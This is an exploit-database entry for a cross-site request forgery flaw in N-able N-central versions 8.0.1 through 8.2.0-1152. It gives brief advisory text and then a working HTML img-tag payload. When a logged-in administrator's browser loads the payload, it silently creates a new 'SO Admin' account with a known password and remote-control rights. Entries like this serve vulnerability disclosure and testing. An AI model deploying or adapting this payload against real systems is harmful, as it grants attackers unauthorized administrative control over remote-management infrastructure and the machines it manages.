Exploit N-able N-central - Cross-Site Request Forgery

[Exploiter]

EDB-ID

38130

Проверка EDB

1. Пройдено

Автор

CARTEL

Тип уязвимости

WEBAPPS

Платформа

JAVA

CVE

N/A

Дата публикации

2012-12-13

N-able N-central - Cross-Site Request Forgery

source: https://www.securityfocus.com/bid/56933/info

N-central is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

N-central 8.0.1 through 8.2.0-1152 are vulnerable; other versions may also be affected. 

<img src="https://ncentral/addAccountActionStep1.do?page=1&pageName=add_account&email=test%40redacted.co.nz&pswd=CSRF123!!!&confirmPassword=CSRF123!!&paperSize=Letter&numberFormat=en_US&statusEnabled=true&type=SO%20Admin&defaultDashboard=All%20Devices&uiSessionTimeOut=20&configRemoteControlEnabled=on&useRemoteControlEnabled=on&rcAvailability=Available&useManagementTaskEnabled=on&firstName=CSRF&lastName=Hacker&phone=&ext=&department=&street1=&street2=&city=&stateProv=&postalCode=&country=&method=Finish"></img>